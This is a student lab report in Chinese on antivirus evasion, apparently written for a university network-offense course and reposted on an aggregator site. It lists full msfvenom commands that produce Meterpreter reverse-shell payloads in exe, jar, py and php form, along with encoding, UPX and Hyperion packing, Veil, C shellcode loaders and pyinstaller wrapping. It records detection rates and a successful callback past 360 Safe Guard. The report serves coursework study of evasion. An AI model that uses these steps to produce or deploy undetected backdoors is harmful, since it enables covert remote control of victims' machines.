2019-2020-2 网络对抗技术 20175217 Exp3 免杀原理与实践

Posted wyf20175217

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020-2 网络对抗技术 20175217 Exp3 免杀原理与实践相关的知识,希望对你有一定的参考价值。

一、实验目标

  • 理解免杀的原理
  • 掌握并实践免杀的各种方法

二、实验内容

任务一:

  • 正确使用msf编码器
  • msfvenom生成如jar之类的其他文件
  • veil
  • 加壳工具
  • 使用C + shellcode编程

任务二:

  • 通过组合应用各种技术实现恶意代码免杀

任务三:

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三、基础知识

免杀概念

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术

免杀要求

  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验

免杀反制

  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础

免杀效果

  • 利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

四、基础问题回答

杀软是如何检测出恶意代码的?

  • 基于特征码的检测

    • 一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
    • 过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库
  • 启发式恶意软件检测

    • 就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
    • 优点:可以检测0-day恶意软件、具有一定通用性
    • 缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高
  • 基于行为的恶意软件检测

    • 相当于是启发式的一种,或者是加入了行为监控的启发式

免杀是做什么?

  • 是对恶意软件做处理,让它不被杀毒软件所检测
  • 在渗透测试中也有应用

免杀的基本方法有哪些?

改变特征码

  • 加壳(压缩壳 加密壳)——如果只有exe
  • 用encode进行编码——有shellcode(像Meterpreter)
  • 基于payload重新编译生成可执行文件——有shellcode
  • 用其他语言进行重写再编译(veil-evasion)——有源代码

改变行为

  • 通讯方式

    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式

    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
  • 利用Metasploit已有的payload来半手工的打造一个恶意软件
  • 纯手工打造一个恶意软件(效果最好)
  • 使用社工类攻击,诱骗目标关闭AV软件

开启杀软能绝对防止电脑中恶意代码吗?

  • 不能,本次实验即可证明,杀毒软件也会有缺陷,是不可能绝对防止电脑中的恶意代码的

五、实验任务

任务一:基本方法免杀

1.正确使用msf编码器
直接生成

  • 使用实验二中的方法,使用MSF,生成exe文件

技术图片

  • 使用VirusTotal、virscan网站进行扫描

技术图片

技术图片

  • 由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行编码

一次编码

  • 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00‘ LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_1.exe
  • -e:选择编码器
  • -b:去除字符(在本命令中为了使‘x00‘不出现在shellcode中,因为shellcode以‘x00‘为结束符)

技术图片

  • 使用VirusTotal、virscan网站进行扫描,结果与之前无编码基本一致,VirusTotal上57/72、virscan上24/49

十次编码

  • 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00‘ LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_2.exe
  • -i:设置迭代次数

技术图片

  • 使用VirusTotal、virscan网站进行扫描,效果与之前无编码也不大,甚至更菜了,VirusTotal上57/72、virscan上26/49

  • 由此可见多次编码对免杀没有太大的效果,原因可能如下:

    • 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差
    • msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe

2.msfvenom生成如jar之类的其他文件
生成jar文件

  • 使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_jar.jar生成jar文件

技术图片

  • 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成exe文件效果好,VirusTotal上35/60、virscan上15/49

技术图片

生成python文件

  • 使用命令:msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_python.py生成py文件

技术图片

  • 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成jar文件效果又好一些,效果很好,VirusTotal上25/59、virscan上3/49
    技术图片

  • 尝试一下回连

技术图片

  • 回连成功,注意这里回连时playload要选python

技术图片

生成php文件

  • 使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.228.128 LPORT=5217 x> wyf_php.php生成php文件

技术图片

  • 使用VirusTotal网站进行扫描,发现效果比生成的py文件效果又有了显著提升,效果非常好,绝大部分杀软基本无法将其检测出来,VirusTotal上3/58、virscan上1/49

技术图片

原因分析

  • 可能是杀软缺乏对python、php代码,尤其是php代码的检测能力
  • 但py、php文件运行起来比较麻烦,所以实操可能效果还是没那么好

3.veil
安装veil

  • sudo apt-get install veil-evasion命令安装veil

技术图片

  • 安装完成后输入veil运行,然后选择y进一步安装软件

  • 出现绿色的指令界面表示安装成功

技术图片

生成python文件

  • 输入use evasion命令进入Evil-Evasion界面

技术图片

  • 输入list查看可用的playload

技术图片

  • 选择一个可用的playload,输入use 编号,如这里选择使用python语言的python/meterpreter/rev_tc,就输入use 28

技术图片

技术图片

  • 设置反弹连接LHOST:set LHOST 192.168.228.128、端口LPOST:set LPORT 5217,最后输入options查看确认

技术图片

  • 输入generate生成文件,接着输入你想要playload的名字

技术图片

  • 查看保存路径,并将文件保存在win主机里

技术图片

技术图片

  • 使用VirusTotal、virscan网站进行扫描,发现效果非常好,VirusTotal上3/59、virscan上1/49

技术图片

生成ruby文件

  • 方法和之前一样,又试了ruby,效果还算可以

技术图片

4.加壳

基本知识

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)

  • 压缩壳

    • 减少应用体积,如ASPack,UPX
  • 加密壳

    • 版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机

    • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

压缩壳UPX

  • 对刚刚的5217_2.exe用UPX加壳,输入:upx 5217_2.exe -o upx_5217_2.exe,生成UPX_5217_2.exe

技术图片

  • 对该加壳软件进行检测,发现效果有所改观,但效果不明显,还是很容易被检测出来

技术图片

加密壳Hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/

输入命令wine hyperion.exe -v upx_5217_2.exe hyperion_upx_5217_2.exe进行加壳

技术图片

技术图片

  • 效果又有了一些改善,但整体效果还是不太好

技术图片

加壳小结

  • 总的来说,使用加壳软件,虽然可能改善一些效果,但似乎并不能得到很好地免杀效果
  • 这些加壳软件中包含的特征信息,有时候反而会增加杀毒软件识别的可能性

5.使用C + shellcode编程

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5217 -f c用c语言生成一段shellcode;

技术图片

  • 创建一个文件wyf_lx25t.c,然后将unsigned char buf[]赋值到其中

技术图片

  • 使用命令:i686-w64-mingw32-g++ wyf_lx25t.c -o wyf_lx25t.exe编译这个.c文件为可执行文件

  • 尝试一下回连

技术图片

  • 检测结果如下,效果不算很好

技术图片

基本方法整体测试

  • 最后,见证奇迹的时刻,打开杀软,发现使用veil生成的、和其他语言的文件都不会被杀软查杀,但除此之外的软件都被杀掉了

技术图片

基本方法免杀小结

  • 经过上述的实践,总体来说,发现基本的免杀方法整体效果不太好,但是也不乏一些比较好的方式,需要多次的尝试和验证才能探索出来
  • 原因主要基本的方法含有许多明显的特征信息,这些信息早已被现有的杀软收录,所以就很容易被查出来,而一些特殊的语言或编译方式杀软可能并没有来得及收录,所以也会有一些好的效果

任务二:通过组合应用各种技术实现恶意代码免杀

组合1——shellcode+强转

  • 同任务一的方法使用C + shellcode编程,并尝试强转数组类型

技术图片

  • 成功

技术图片

  • 然而,半天之后,它也没撑住,看来杀软杀毒真的是玄学

技术图片

技术图片

  • 但总体来说,如果要过很久才被查出来的话,它可能还是有点用的

组合2——shellcodeWrapper加工+pyinstaller打包(加壳)

  • 于是我又试了一种比较麻烦的方法
  • 用msf生成raw文件

技术图片

  • 用shellcodeWrapper生成py后门文件

技术图片

  • 使用pyinstaller将该python文件转为exe文件

技术图片

技术图片

  • 成功

技术图片

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实测:使用的是自己的win10虚拟机

技术图片

杀软名称:360安全卫士
版本:12.0.0.2002

技术图片

六、遇到的问题和解决

问题一:安装veil时总是报错
技术图片

解决一:按照同学的说法,多装了几次,装了好久,终于装上了(就是多装几次就好了...

技术图片

技术图片

问题二:无法安装pyinstaller

技术图片

解决二:找了各种方法各种博客,还是没解决,后来自己安了个win10虚拟机,在虚拟机里安成功了,但问题到底出在哪还是不清楚

技术图片

问题三:kali的设置打不开了,它一直转圈圈

技术图片

尚未解决

七、实验心得体会

? ? ? ?这次实验做的是免杀,刚开始觉得没什么难的,但真正做起来就明显感觉到,想要做到免杀还是很难的,如果想要效果好,就要精通一些软件的使用、代码的编写等,也要真正深入地理解免杀的原理。
? ? ? ?这次实验我觉得还是很难的,是参考老师的实验指导、课代表的博客和学长学姐的博客完成的,在过程中遇到的问题,也和同学们交流讨论,很多问题虽然很烦,但跟同学一讨论就感觉没有那么自闭了。
? ? ? ?这次实验虽然使我对免杀有了一定的理解,但是还是没有办法很好地做到免杀,在今后的学习过程中我也会更加努力、做的更好。

八、参考链接

以上是关于2019-2020-2 网络对抗技术 20175217 Exp3 免杀原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

2019-2020-2 20175216 《网络对抗技术》Exp7 网络欺诈防范

2019-2020-2 20175216 《网络对抗技术》Exp7 网络欺诈防范

2019-2020-2 20175303柴轩达《网络对抗技术》Exp4 恶意代码分析

2019-2020-2 网络对抗技术 20175209 Exp7 网络欺诈防范

2019-2020-2 网络对抗技术 20175214 Exp7 网络欺诈防范

2019-2020-2 网络对抗技术 20175214 Exp7 网络欺诈防范